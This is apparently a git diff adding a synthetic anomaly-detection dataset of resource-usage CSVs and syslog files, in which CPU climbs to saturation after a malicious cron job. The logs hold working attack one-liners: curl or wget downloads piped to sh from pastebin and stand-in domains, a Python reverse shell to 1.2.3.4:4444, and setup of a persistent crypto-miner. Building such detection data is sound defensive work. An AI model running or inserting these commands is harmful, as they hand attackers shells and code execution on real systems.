+2025-08-17T17:04:25Z,79.98,40.32,11.93,0.4,2.59 +2025-08-17T17:04:30Z,83.22,40.41,12.24,0.67,3.85 +2025-08-17T17:04:35Z,85.17,39.92,14.79,0.39,3.0 +2025-08-17T17:04:40Z,88.72,44.5,5.19,0.63,3.4 +2025-08-17T17:04:45Z,88.69,43.95,7.83,0.25,4.01 +2025-08-17T17:04:50Z,93.78,41.19,7.2,0.23,3.51 +2025-08-17T17:04:55Z,93.27,39.1,5.2,0.32,2.94 +2025-08-17T17:05:00Z,96.99,40.38,10.86,0.43,3.83 +2025-08-17T17:05:05Z,96.76,44.79,14.26,0.51,4.2 +2025-08-17T17:05:10Z,95.05,42.29,14.6,0.48,3.05 +2025-08-17T17:05:15Z,98.29,39.02,9.75,0.33,2.75 +2025-08-17T17:05:20Z,98.13,45.55,11.26,0.27,2.79 +2025-08-17T17:05:25Z,97.31,42.58,7.74,0.33,3.45 +2025-08-17T17:05:30Z,95.67,47.79,11.49,0.24,3.87 +2025-08-17T17:05:35Z,95.81,45.06,8.03,0.65,4.36 +2025-08-17T17:05:40Z,98.33,41.43,14.47,0.66,4.22 +2025-08-17T17:05:45Z,97.99,38.96,12.65,0.46,2.63 +2025-08-17T17:05:50Z,96.4,43.09,8.29,0.72,4.41 +2025-08-17T17:05:55Z,95.19,43.06,10.63,0.79,3.71 +2025-08-17T17:06:00Z,98.79,40.87,7.88,0.46,3.36 +2025-08-17T17:06:05Z,96.49,48.16,10.92,0.56,4.3 +2025-08-17T17:06:10Z,98.15,40.81,10.9,0.32,3.44 +2025-08-17T17:06:15Z,98.4,46.2,14.54,0.38,4.31 +2025-08-17T17:06:20Z,99.1,40.9,13.32,0.65,3.62 +2025-08-17T17:06:25Z,96.4,40.32,9.54,0.48,4.36 +2025-08-17T17:06:30Z,99.75,45.58,11.32,0.63,3.67 +2025-08-17T17:06:35Z,98.79,48.9,13.17,0.7,2.98 +2025-08-17T17:06:40Z,99.15,45.62,11.3,0.39,4.06 +2025-08-17T17:06:45Z,95.53,42.06,5.96,0.64,2.81 +2025-08-17T17:06:50Z,97.75,47.9,8.63,0.75,3.72 +2025-08-17T17:06:55Z,95.28,49.65,9.53,0.48,2.51 +2025-08-17T17:07:00Z,96.71,40.24,10.58,0.51,3.4 +2025-08-17T17:07:05Z,99.78,48.57,14.98,0.45,3.93 +2025-08-17T17:07:10Z,99.35,47.78,11.78,0.42,4.07 +2025-08-17T17:07:15Z,96.0,41.95,10.37,0.28,4.4 +2025-08-17T17:07:20Z,97.66,44.02,14.14,0.63,4.23 +2025-08-17T17:07:25Z,99.85,45.33,12.27,0.53,2.63 diff --git a/mali_dataset/scenario_1/mali_1_3.log b/mali_dataset/scenario_1/mali_1_3.log new file mode 100644 index 0000000000000000000000000000000000000000..ca68dc32b2e159b0d4c0360e425b18d0f878a326 --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_3.log @@ -0,0 +1,9 @@ +Aug 17 17:00:10 systemd[1]: Started session for user monitoring. +Aug 17 17:00:25 sshd[13579]: Accepted publickey for admin from 10.0.3.8 port 64321 ssh2 +Aug 17 17:02:10 CRON[23141]: (admin) CMD ((curl -fsSL https://pastebin.com/raw/aBcDeF12 || wget -qO- https://pastebin.com/raw/aBcDeF12)|sh) +Aug 17 17:02:45 systemd[1]: Starting bioset.service... +Aug 17 17:03:00 systemd[1]: Started bioset.service. +Aug 17 17:03:15 bioset[21345]: Process started with high priority. +Aug 17 17:04:10 kubelet[1234]: INFO routine sync completed for pod some-app +Aug 17 17:05:40 systemd[1]: session-6.scope: Succeeded. +Aug 17 17:07:05 kubelet[1234]: INFO routine sync completed for pod some-app diff --git a/mali_dataset/scenario_1/mali_1_4.csv b/mali_dataset/scenario_1/mali_1_4.csv new file mode 100644 index 0000000000000000000000000000000000000000..6c5f79936e7381f83e66c66a0076b572deb92d69 --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_4.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-17T20:00:00Z,18.9,35.39,17.36,1.32,1.1 +2025-08-17T20:00:05Z,18.08,36.46,29.91,0.76,1.33 +2025-08-17T20:00:10Z,14.11,38.37,23.28,1.28,1.28 +2025-08-17T20:00:15Z,14.07,40.25,27.66,1.37,1.25 +2025-08-17T20:00:20Z,18.31,42.14,20.15,1.43,1.06 +2025-08-17T20:00:25Z,17.37,44.42,15.43,0.86,1.23 +2025-08-17T20:00:30Z,13.61,35.76,17.79,1.09,1.04 +2025-08-17T20:00:35Z,13.36,35.89,24.77,0.9,1.18 +2025-08-17T20:00:40Z,14.84,40.0,21.75,0.89,1.07 +2025-08-17T20:00:45Z,11.06,40.01,25.11,0.73,1.14 +2025-08-17T20:00:50Z,12.68,36.97,29.91,1.04,1.19 +2025-08-17T20:00:55Z,11.04,37.11,15.24,1.25,1.46 +2025-08-17T20:01:00Z,13.6,36.82,22.75,1.4,1.14 +2025-08-17T20:01:05Z,14.83,39.17,27.29,0.67,1.61 +2025-08-17T20:01:10Z,11.17,44.58,28.47,1.32,1.15 +2025-08-17T20:01:15Z,18.05,36.21,28.21,0.86,1.61 +2025-08-17T20:01:20Z,15.77,44.46,17.95,0.85,0.96 +2025-08-17T20:01:25Z,18.54,38.57,26.98,0.66,1.21 +2025-08-17T20:01:30Z,11.76,41.59,28.13,1.19,1.69 +2025-08-17T20:01:35Z,14.72,44.52,29.01,1.42,1.39 +2025-08-17T20:01:40Z,12.91,44.15,22.34,1.04,1.8 +2025-08-17T20:01:45Z,14.63,36.82,22.0,0.91,1.19 +2025-08-17T20:01:50Z,11.14,39.32,18.23,0.52,1.02 +2025-08-17T20:01:55Z,14.81,41.02,15.14,1.38,1.57 +2025-08-17T20:02:00Z,11.19,38.44,17.84,0.58,1.36 +2025-08-17T20:02:05Z,11.36,46.26,20.63,1.47,1.2 +2025-08-17T20:02:10Z,19.4,36.87,18.58,0.72,1.71 +2025-08-17T20:02:15Z,13.23,41.68,24.47,0.87,1.55 +2025-08-17T20:02:20Z,10.55,40.07,20.44,1.31,0.85 +2025-08-17T20:02:25Z,17.56,41.69,25.33,1.4,1.4 +2025-08-17T20:02:30Z,20.66,41.65,14.72,0.62,4.35 +2025-08-17T20:02:35Z,21.23,36.76,5.77,0.39,3.37 +2025-08-17T20:02:40Z,24.43,38.8,10.24,0.42,3.38 +2025-08-17T20:02:45Z,28.89,42.78,7.28,0.43,3.85 +2025-08-17T20:02:50Z,30.07,44.79,11.75,0.45,4.34 +2025-08-17T20:02:55Z,33.76,46.3,8.2,0.75,2.69 +2025-08-17T20:03:00Z,36.63,45.94,13.99,0.51,3.51 +2025-08-17T20:03:05Z,37.84,39.55,5.2,0.42,2.95 +2025-08-17T20:03:10Z,39.03,41.42,11.47,0.66,3.6 +2025-08-17T20:03:15Z,41.66,41.8,6.13,0.58,2.61 +2025-08-17T20:03:20Z,45.3,44.12,9.64,0.45,2.58 +2025-08-17T20:03:25Z,48.63,41.34,6.79,0.57,4.42 +2025-08-17T20:03:30Z,50.73,38.56,13.24,0.78,3.53 +2025-08-17T20:03:35Z,53.64,47.17,13.29,0.32,3.9 +2025-08-17T20:03:40Z,57.29,44.56,11.67,0.6,4.46 +2025-08-17T20:03:45Z,60.07,46.8,9.62,0.29,3.26 +2025-08-17T20:03:50Z,60.1,42.51,8.29,0.68,3.87 +2025-08-17T20:03:55Z,63.88,38.95,12.52,0.55,3.48 +2025-08-17T20:04:00Z,65.48,41.81,11.03,0.53,3.28 +2025-08-17T20:04:05Z,70.48,40.29,9.05,0.46,2.94 +2025-08-17T20:04:10Z,69.89,38.55,6.86,0.77,4.3 +2025-08-17T20:04:15Z,74.95,47.31,10.52,0.69,3.18 +2025-08-17T20:04:20Z,75.49,42.12,14.48,0.44,3.6 +2025-08-17T20:04:25Z,78.62,47.84,11.98,0.4,3.14 +2025-08-17T20:04:30Z,83.74,43.75,12.15,0.77,2.95 +2025-08-17T20:04:35Z,86.18,46.46,12.35,0.69,3.44 +2025-08-17T20:04:40Z,85.81,42.12,5.73,0.42,3.26 +2025-08-17T20:04:45Z,89.27,40.71,5.17,0.5,3.58 +2025-08-17T20:04:50Z,92.41,42.69,6.84,0.26,3.52 +2025-08-17T20:04:55Z,93.72,46.54,12.93,0.55,4.33 +2025-08-17T20:05:00Z,95.67,46.59,14.82,0.68,3.01 +2025-08-17T20:05:05Z,99.06,47.74,14.05,0.46,2.5 +2025-08-17T20:05:10Z,95.33,42.08,12.69,0.52,3.07 +2025-08-17T20:05:15Z,99.21,44.23,14.19,0.63,3.73 +2025-08-17T20:05:20Z,98.54,45.79,6.38,0.43,2.89 +2025-08-17T20:05:25Z,98.14,38.71,6.26,0.69,3.32 +2025-08-17T20:05:30Z,98.2,47.62,5.09,0.77,4.25 +2025-08-17T20:05:35Z,99.49,45.0,13.16,0.33,3.58 +2025-08-17T20:05:40Z,98.7,43.39,9.56,0.59,4.2 +2025-08-17T20:05:45Z,99.85,48.35,9.53,0.2,2.97 +2025-08-17T20:05:50Z,97.67,44.05,9.74,0.21,3.0 +2025-08-17T20:05:55Z,97.67,41.64,8.12,0.43,3.74 +2025-08-17T20:06:00Z,96.63,48.7,9.89,0.28,2.99 +2025-08-17T20:06:05Z,97.81,45.44,5.12,0.76,2.81 +2025-08-17T20:06:10Z,98.37,44.23,8.57,0.43,3.7 +2025-08-17T20:06:15Z,97.14,46.66,11.06,0.48,3.8 +2025-08-17T20:06:20Z,99.96,43.71,8.77,0.64,3.97 +2025-08-17T20:06:25Z,98.22,46.4,12.06,0.57,3.48 +2025-08-17T20:06:30Z,95.89,46.98,10.09,0.52,4.04 +2025-08-17T20:06:35Z,96.88,41.59,9.31,0.58,3.04 +2025-08-17T20:06:40Z,96.93,47.7,10.43,0.32,2.72 +2025-08-17T20:06:45Z,95.34,46.76,9.93,0.5,3.98 +2025-08-17T20:06:50Z,98.58,43.43,7.83,0.28,2.65 +2025-08-17T20:06:55Z,98.07,42.86,8.82,0.61,3.0 +2025-08-17T20:07:00Z,99.7,46.41,12.25,0.3,2.97 +2025-08-17T20:07:05Z,99.24,44.8,10.0,0.62,2.93 +2025-08-17T20:07:10Z,96.81,48.13,9.01,0.32,2.51 +2025-08-17T20:07:15Z,95.59,48.97,9.41,0.34,2.51 +2025-08-17T20:07:20Z,95.7,41.94,11.33,0.6,3.81 +2025-08-17T20:07:25Z,97.08,40.31,10.29,0.31,3.02 diff --git a/mali_dataset/scenario_1/mali_1_4.log b/mali_dataset/scenario_1/mali_1_4.log new file mode 100644 index 0000000000000000000000000000000000000000..3b52ebb55ebf4160159cf7df52f60ccdabe9c44f --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_4.log @@ -0,0 +1,9 @@ +Aug 17 20:00:10 systemd[1]: Started session for user monitoring. +Aug 17 20:00:25 sshd[13579]: Accepted publickey for admin from 10.0.3.8 port 64321 ssh2 +Aug 17 20:02:10 CRON[19876]: (root) CMD (/usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.2.3.4",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);') +Aug 17 20:02:45 systemd[1]: Starting systemd-resolve.service... +Aug 17 20:03:00 systemd[1]: Started systemd-resolve.service. +Aug 17 20:03:15 systemd-resolve[21345]: Process started with high priority. +Aug 17 20:04:10 kubelet[1234]: INFO routine sync completed for pod some-app +Aug 17 20:05:40 systemd[1]: session-6.scope: Succeeded. +Aug 17 20:07:05 kubelet[1234]: INFO routine sync completed for pod some-app diff --git a/mali_dataset/scenario_1/mali_1_5.csv b/mali_dataset/scenario_1/mali_1_5.csv new file mode 100644 index 0000000000000000000000000000000000000000..5f479bac5ad14db527ee4ea598256314cf0f9598 --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_5.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T10:00:00Z,21.38,38.5,21.49,1.46,1.66 +2025-08-15T10:00:05Z,24.64,41.06,28.25,0.71,1.13 +2025-08-15T10:00:10Z,20.2,40.11,31.15,1.4,1.1 +2025-08-15T10:00:15Z,21.71,39.88,31.62,1.07,1.56 +2025-08-15T10:00:20Z,19.25,39.24,32.05,1.27,1.43 +2025-08-15T10:00:25Z,17.01,38.26,33.77,0.82,1.65 +2025-08-15T10:00:30Z,22.35,41.72,27.93,0.88,1.73 +2025-08-15T10:00:35Z,19.38,38.06,21.07,1.0,1.78 +2025-08-15T10:00:40Z,23.5,40.55,29.91,1.11,1.22 +2025-08-15T10:00:45Z,18.45,39.71,31.31,1.47,1.04 +2025-08-15T10:00:50Z,18.11,38.32,27.35,1.3,1.19 +2025-08-15T10:00:55Z,18.05,41.28,27.06,0.96,1.65 +2025-08-15T10:01:00Z,16.03,40.84,20.37,1.29,1.56 +2025-08-15T10:01:05Z,22.43,38.94,21.96,1.05,1.01 +2025-08-15T10:01:10Z,17.02,38.71,22.47,0.69,1.28 +2025-08-15T10:01:15Z,16.9,41.28,21.71,1.1,1.6 +2025-08-15T10:01:20Z,17.95,38.73,20.22,1.14,1.07 +2025-08-15T10:01:25Z,20.47,38.2,25.44,1.05,1.06 +2025-08-15T10:01:30Z,15.87,40.42,21.29,0.95,1.23 +2025-08-15T10:01:35Z,17.51,38.67,29.28,1.25,1.25 +2025-08-15T10:01:40Z,19.22,39.33,20.63,0.73,1.25 +2025-08-15T10:01:45Z,17.57,38.21,30.64,0.9,0.87 +2025-08-15T10:01:50Z,20.64,41.9,23.82,0.56,1.16 +2025-08-15T10:01:55Z,17.16,40.99,20.99,0.91,1.33 +2025-08-15T10:02:00Z,19.51,40.62,21.52,0.7,1.39 +2025-08-15T10:02:05Z,17.46,40.15,24.34,0.94,0.91 +2025-08-15T10:02:10Z,23.7,40.13,22.71,0.52,1.49 +2025-08-15T10:02:15Z,20.35,38.15,20.96,1.47,1.76 +2025-08-15T10:02:20Z,15.92,39.17,24.89,1.26,1.67 +2025-08-15T10:02:25Z,18.49,41.91,33.91,1.19,0.89 +2025-08-15T10:02:30Z,26.46,41.53,9.38,0.48,2.35 +2025-08-15T10:02:35Z,26.06,42.08,12.04,0.75,2.08 +2025-08-15T10:02:40Z,30.79,40.34,8.15,0.25,2.31 +2025-08-15T10:02:45Z,31.21,40.41,6.73,0.35,2.9 +2025-08-15T10:02:50Z,33.21,44.75,13.44,0.6,2.33 +2025-08-15T10:02:55Z,36.56,43.85,12.15,0.75,2.33 +2025-08-15T10:03:00Z,39.42,40.3,10.44,0.47,2.19 +2025-08-15T10:03:05Z,43.02,43.16,8.08,0.2,2.23 +2025-08-15T10:03:10Z,42.69,41.79,10.92,0.26,2.38 +2025-08-15T10:03:15Z,47.88,40.53,9.81,0.34,2.94 +2025-08-15T10:03:20Z,47.75,43.22,7.91,0.4,2.82 +2025-08-15T10:03:25Z,50.73,44.58,9.28,0.79,2.26 +2025-08-15T10:03:30Z,53.92,42.49,5.6,0.6,2.27 +2025-08-15T10:03:35Z,56.08,40.97,13.38,0.52,2.67 +2025-08-15T10:03:40Z,58.86,44.05,14.78,0.79,2.68 +2025-08-15T10:03:45Z,59.9,43.59,8.06,0.55,2.66 +2025-08-15T10:03:50Z,65.22,40.73,6.67,0.73,2.8 +2025-08-15T10:03:55Z,64.26,41.15,9.2,0.41,2.38 +2025-08-15T10:04:00Z,70.14,40.72,9.6,0.39,2.82 +2025-08-15T10:04:05Z,70.49,41.11,11.39,0.7,2.44 +2025-08-15T10:04:10Z,71.59,41.81,12.2,0.27,2.31 +2025-08-15T10:04:15Z,74.09,42.23,7.17,0.75,2.31 +2025-08-15T10:04:20Z,77.64,44.4,6.63,0.28,2.17 +2025-08-15T10:04:25Z,81.36,44.2,7.79,0.47,2.09 +2025-08-15T10:04:30Z,81.83,44.43,13.39,0.55,2.1 +2025-08-15T10:04:35Z,85.15,43.53,5.83,0.5,2.33 +2025-08-15T10:04:40Z,87.29,43.39,9.89,0.76,2.66 +2025-08-15T10:04:45Z,90.11,41.32,12.33,0.48,2.1 +2025-08-15T10:04:50Z,92.18,44.07,13.27,0.6,2.89 +2025-08-15T10:04:55Z,93.67,43.76,14.45,0.57,2.18 +2025-08-15T10:05:00Z,95.6,43.98,8.32,0.35,2.44 +2025-08-15T10:05:05Z,96.57,44.7,9.84,0.57,2.74 +2025-08-15T10:05:10Z,99.5,43.58,6.09,0.31,2.27 +2025-08-15T10:05:15Z,96.04,43.47,9.21,0.21,2.35 +2025-08-15T10:05:20Z,95.08,44.25,6.66,0.28,2.26 +2025-08-15T10:05:25Z,95.67,43.16,9.47,0.41,2.94 +2025-08-15T10:05:30Z,99.95,44.59,7.18,0.48,2.53 +2025-08-15T10:05:35Z,97.12,42.1,6.31,0.27,2.6 +2025-08-15T10:05:40Z,99.96,42.82,9.29,0.23,3.2 +2025-08-15T10:05:45Z,98.38,44.63,7.97,0.39,2.42 +2025-08-15T10:05:50Z,98.47,45.11,8.41,0.42,2.5 +2025-08-15T10:05:55Z,98.7,45.2,7.39,0.44,2.23 +2025-08-15T10:06:00Z,95.96,44.72,9.98,0.28,2.25 +2025-08-15T10:06:05Z,96.63,42.58,5.32,0.51,2.74 +2025-08-15T10:06:10Z,98.71,42.05,7.65,0.38,2.69 +2025-08-15T10:06:15Z,96.16,45.35,5.25,0.28,2.35 +2025-08-15T10:06:20Z,95.09,44.91,7.94,0.3,2.35 +2025-08-15T10:06:25Z,96.72,45.36,5.96,0.44,2.9 +2025-08-15T10:06:30Z,99.03,43.57,8.45,0.5,2.66 +2025-08-15T10:06:35Z,99.88,42.06,6.89,0.43,2.25 +2025-08-15T10:06:40Z,97.64,43.72,9.32,0.34,2.93 +2025-08-15T10:06:45Z,97.02,43.27,8.93,0.31,2.76 +2025-08-15T10:06:50Z,97.67,45.98,7.96,0.26,2.39 +2025-08-15T10:06:55Z,97.91,42.71,9.85,0.41,2.74 +2025-08-15T10:07:00Z,96.43,43.04,7.57,0.34,2.66 +2025-08-15T10:07:05Z,97.34,45.64,9.23,0.42,2.71 +2025-08-15T10:07:10Z,98.64,44.46,8.68,0.47,3.19 +2025-08-15T10:07:15Z,98.62,42.69,7.76,0.56,2.39 +2025-08-15T10:07:20Z,96.18,42.97,7.29,0.4,3.07 +2025-08-15T10:07:25Z,99.48,43.23,8.89,0.49,2.49 diff --git a/mali_dataset/scenario_1/mali_1_5.log b/mali_dataset/scenario_1/mali_1_5.log new file mode 100644 index 0000000000000000000000000000000000000000..9fa8db7be6c44506379ef905f03e6e37322c82f0 --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_5.log @@ -0,0 +1,15 @@ +Aug 15 10:00:05 systemd[1]: Started Session 5 of user admin. +Aug 15 10:00:15 sshd[11532]: Accepted publickey for admin from 10.0.2.5 port 54321 ssh2 +Aug 15 10:00:40 cron[11590]: (root) CMD ( /usr/lib/apt/apt.systemd.daily) +Aug 15 10:01:15 kubelet[1234]: INFO Successfully probed container metrics-server +Aug 15 10:01:40 nginx[5432]: GET /healthz HTTP/1.1 200 OK +Aug 15 10:02:05 CRON[18231]: (admin) CMD (curl -s http://some-shady-domain.com/setup.sh | bash) +Aug 15 10:02:25 setup.sh[18235]: downloading required binaries... +Aug 15 10:02:40 setup.sh[18235]: setting up persistence via systemd timer +Aug 15 10:02:55 systemd[1]: Started custom-updater.service. +Aug 15 10:03:10 custom-updater[18250]: Starting crypto-miner process. +Aug 15 10:03:45 kubelet[1234]: INFO routine sync completed for pod api-gateway +Aug 15 10:04:35 kubelet[1234]: INFO routine sync completed for pod api-gateway +Aug 15 10:05:25 systemd[1]: session-5.scope: Succeeded. +Aug 15 10:06:15 kubelet[1234]: INFO routine sync completed for pod api-gateway +Aug 15 10:07:05 kubelet[1234]: INFO routine sync completed for pod api-gateway diff --git a/mali_dataset/scenario_1/mali_1_6.csv b/mali_dataset/scenario_1/mali_1_6.csv new file mode 100644 index 0000000000000000000000000000000000000000..c8f0fa6ef34178a36682b19dac09cbeed628cbe8 --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_6.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-17T14:00:00Z,11.84,38.55,23.45,1.1,1.13 +2025-08-17T14:00:05Z,14.2,43.49,22.24,1.37,1.27 +2025-08-17T14:00:10Z,18.11,37.39,24.7,0.81,1.6 +2025-08-17T14:00:15Z,13.6,40.62,21.63,1.38,1.66 +2025-08-17T14:00:20Z,13.86,40.0,19.9,1.24,0.94 +2025-08-17T14:00:25Z,19.74,35.94,20.68,0.57,1.2 +2025-08-17T14:00:30Z,10.72,44.72,16.35,0.91,1.61 +2025-08-17T14:00:35Z,10.41,44.43,15.45,1.14,1.47 +2025-08-17T14:00:40Z,17.65,42.15,29.15,0.52,1.74 +2025-08-17T14:00:45Z,15.9,42.11,24.27,0.67,1.76 +2025-08-17T14:00:50Z,18.2,42.2,21.37,0.51,1.45 +2025-08-17T14:00:55Z,14.11,39.31,20.04,0.82,1.11 +2025-08-17T14:01:00Z,19.23,37.57,23.62,1.43,1.71 +2025-08-17T14:01:05Z,18.83,38.5,17.84,0.9,1.21 +2025-08-17T14:01:10Z,12.42,38.16,16.4,0.64,1.66 +2025-08-17T14:01:15Z,16.61,36.25,17.75,0.94,1.04 +2025-08-17T14:01:20Z,11.77,39.2,23.82,1.36,1.11 +2025-08-17T14:01:25Z,11.8,44.88,23.96,0.86,1.53 +2025-08-17T14:01:30Z,10.9,45.25,24.23,0.62,0.93 +2025-08-17T14:01:35Z,15.63,38.6,26.73,1.22,1.16 +2025-08-17T14:01:40Z,17.32,45.81,25.79,0.69,0.96 +2025-08-17T14:01:45Z,13.41,40.92,26.76,0.87,1.15 +2025-08-17T14:01:50Z,11.66,44.58,15.88,0.66,1.24 +2025-08-17T14:01:55Z,12.55,39.04,28.54,1.35,1.76 +2025-08-17T14:02:00Z,15.4,41.12,17.5,0.87,1.2 +2025-08-17T14:02:05Z,11.5,41.55,24.66,0.99,1.22 +2025-08-17T14:02:10Z,14.82,41.18,18.28,1.07,0.88 +2025-08-17T14:02:15Z,18.26,39.27,15.46,0.81,0.88 +2025-08-17T14:02:20Z,18.06,38.96,24.94,0.56,1.06 +2025-08-17T14:02:25Z,13.61,44.76,16.52,0.78,1.66 +2025-08-17T14:02:30Z,18.94,37.35,13.38,0.34,2.6 +2025-08-17T14:02:35Z,23.64,38.0,11.52,0.35,3.05 +2025-08-17T14:02:40Z,24.72,41.13,12.85,0.35,3.76 +2025-08-17T14:02:45Z,26.26,39.52,8.21,0.3,3.08 +2025-08-17T14:02:50Z,31.38,45.72,11.36,0.66,3.25 +2025-08-17T14:02:55Z,33.64,39.78,7.4,0.6,3.19 +2025-08-17T14:03:00Z,37.0,40.06,13.71,0.41,3.73 +2025-08-17T14:03:05Z,36.26,37.34,14.96,0.45,2.66 +2025-08-17T14:03:10Z,41.92,42.44,6.34,0.3,4.47 +2025-08-17T14:03:15Z,42.96,45.68,7.68,0.63,3.58 +2025-08-17T14:03:20Z,47.14,46.83,14.91,0.23,3.64 +2025-08-17T14:03:25Z,47.18,40.63,7.55,0.56,3.57 +2025-08-17T14:03:30Z,49.28,38.46,8.63,0.42,3.24 +2025-08-17T14:03:35Z,52.09,37.42,5.38,0.77,4.07 +2025-08-17T14:03:40Z,56.77,44.98,5.63,0.22,2.55 +2025-08-17T14:03:45Z,60.42,42.78,5.05,0.61,3.46 +2025-08-17T14:03:50Z,61.09,38.09,8.02,0.63,2.61 +2025-08-17T14:03:55Z,65.94,45.03,10.6,0.3,2.61 +2025-08-17T14:04:00Z,66.72,39.16,10.59,0.3,2.71 +2025-08-17T14:04:05Z,70.12,46.13,13.34,0.23,3.38 +2025-08-17T14:04:10Z,71.52,43.55,11.74,0.22,3.74 +2025-08-17T14:04:15Z,75.86,40.57,11.97,0.62,4.43 +2025-08-17T14:04:20Z,75.06,40.86,9.23,0.49,2.68 +2025-08-17T14:04:25Z,80.2,40.99,8.47,0.47,2.7 +2025-08-17T14:04:30Z,82.6,42.59,10.07,0.21,3.72 +2025-08-17T14:04:35Z,84.43,41.81,13.8,0.41,3.79 +2025-08-17T14:04:40Z,87.65,41.73,14.69,0.25,4.49 +2025-08-17T14:04:45Z,91.06,42.03,5.13,0.6,4.47 +2025-08-17T14:04:50Z,90.76,39.55,7.44,0.24,3.96 +2025-08-17T14:04:55Z,96.13,45.86,8.78,0.75,4.1 +2025-08-17T14:05:00Z,96.56,44.81,11.66,0.56,3.19 +2025-08-17T14:05:05Z,97.45,45.61,8.89,0.69,3.73 +2025-08-17T14:05:10Z,99.31,41.57,6.43,0.75,3.19 +2025-08-17T14:05:15Z,97.43,47.83,6.44,0.29,4.24 +2025-08-17T14:05:20Z,97.42,44.13,11.69,0.25,3.11 +2025-08-17T14:05:25Z,98.33,42.7,12.22,0.77,2.58 +2025-08-17T14:05:30Z,98.07,42.26,11.22,0.3,3.66 +2025-08-17T14:05:35Z,99.81,48.16,5.73,0.31,2.66 +2025-08-17T14:05:40Z,95.69,48.11,6.05,0.28,3.58 +2025-08-17T14:05:45Z,95.21,42.84,7.91,0.23,3.88 +2025-08-17T14:05:50Z,95.29,40.92,8.7,0.21,3.15 +2025-08-17T14:05:55Z,99.44,39.92,10.28,0.47,2.55 +2025-08-17T14:06:00Z,98.52,45.02,8.8,0.71,4.12 +2025-08-17T14:06:05Z,97.65,42.69,9.59,0.67,2.59 +2025-08-17T14:06:10Z,98.77,39.81,12.03,0.21,3.75 +2025-08-17T14:06:15Z,98.75,45.65,13.33,0.45,2.88 +2025-08-17T14:06:20Z,99.42,46.82,10.83,0.41,4.24 +2025-08-17T14:06:25Z,97.73,45.13,9.08,0.68,4.23 +2025-08-17T14:06:30Z,99.2,48.73,14.83,0.67,2.59 +2025-08-17T14:06:35Z,99.85,42.98,13.49,0.2,2.74 +2025-08-17T14:06:40Z,96.73,43.33,13.1,0.48,2.75 +2025-08-17T14:06:45Z,97.16,44.93,6.25,0.68,4.34 +2025-08-17T14:06:50Z,95.68,48.13,5.12,0.41,3.76 +2025-08-17T14:06:55Z,96.12,49.42,7.11,0.7,4.41 +2025-08-17T14:07:00Z,95.69,47.35,6.43,0.34,2.72 +2025-08-17T14:07:05Z,97.55,43.07,7.94,0.25,3.27 +2025-08-17T14:07:10Z,96.92,44.32,14.86,0.5,2.84 +2025-08-17T14:07:15Z,99.86,42.03,8.38,0.32,4.31 +2025-08-17T14:07:20Z,96.75,43.59,14.65,0.51,3.69 +2025-08-17T14:07:25Z,98.86,46.97,10.22,0.76,3.21 diff --git a/mali_dataset/scenario_1/mali_1_6.log b/mali_dataset/scenario_1/mali_1_6.log new file mode 100644 index 0000000000000000000000000000000000000000..d2a4b188aa38a0192ab0968cfea8f43497ba4483 --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_6.log @@ -0,0 +1,9 @@ +Aug 17 14:00:10 systemd[1]: Started session for user monitoring. +Aug 17 14:00:25 sshd[13579]: Accepted publickey for admin from 10.0.3.8 port 64321 ssh2 +Aug 17 14:02:10 CRON[18231]: (www-data) CMD (wget -q -O - http://bad-distro.net/payload | sh) +Aug 17 14:02:45 systemd[1]: Starting kworkerds.service... +Aug 17 14:03:00 systemd[1]: Started kworkerds.service. +Aug 17 14:03:15 kworkerds[21345]: Process started with high priority. +Aug 17 14:04:10 kubelet[1234]: INFO routine sync completed for pod some-app +Aug 17 14:05:40 systemd[1]: session-6.scope: Succeeded. +Aug 17 14:07:05 kubelet[1234]: INFO routine sync completed for pod some-app diff --git a/mali_dataset/scenario_1/mali_1_7.csv b/mali_dataset/scenario_1/mali_1_7.csv new file mode 100644 index 0000000000000000000000000000000000000000..0d48d0afbd3628552e2a0529b323e770f9935943 --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_7.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-17T17:00:00Z,12.42,40.93,24.54,0.78,1.72 +2025-08-17T17:00:05Z,13.66,44.34,25.89,1.27,0.81 +2025-08-17T17:00:10Z,10.41,44.09,25.46,0.97,1.45 +2025-08-17T17:00:15Z,15.51,40.23,19.64,0.77,1.5 +2025-08-17T17:00:20Z,17.45,44.2,28.96,0.69,1.33 +2025-08-17T17:00:25Z,10.69,45.24,21.08,0.65,1.54 +2025-08-17T17:00:30Z,14.81,44.86,21.17,1.35,1.76 +2025-08-17T17:00:35Z,17.11,38.0,27.27,1.08,1.7 +2025-08-17T17:00:40Z,12.89,41.45,20.25,0.69,0.89 +2025-08-17T17:00:45Z,19.13,36.04,17.72,1.34,1.16 +2025-08-17T17:00:50Z,17.27,45.36,25.24,0.78,1.78 +2025-08-17T17:00:55Z,13.25,36.12,28.51,0.9,1.56 +2025-08-17T17:01:00Z,11.14,43.03,26.76,1.12,1.31 +2025-08-17T17:01:05Z,10.96,45.03,29.68,1.2,1.44 +2025-08-17T17:01:10Z,10.55,43.29,29.03,1.12,1.54 +2025-08-17T17:01:15Z,15.42,41.38,17.92,1.42,1.37 +2025-08-17T17:01:20Z,13.9,39.69,19.8,0.77,1.78 +2025-08-17T17:01:25Z,12.68,36.79,27.14,1.4,1.41 +2025-08-17T17:01:30Z,17.7,39.51,26.72,0.92,1.4 +2025-08-17T17:01:35Z,16.17,44.56,18.86,0.65,1.1 +2025-08-17T17:01:40Z,10.31,37.27,25.64,1.49,1.59 +2025-08-17T17:01:45Z,12.49,43.47,26.05,1.25,1.1 +2025-08-17T17:01:50Z,10.1,44.48,20.87,0.88,1.4 +2025-08-17T17:01:55Z,15.12,40.2,22.2,0.99,1.4 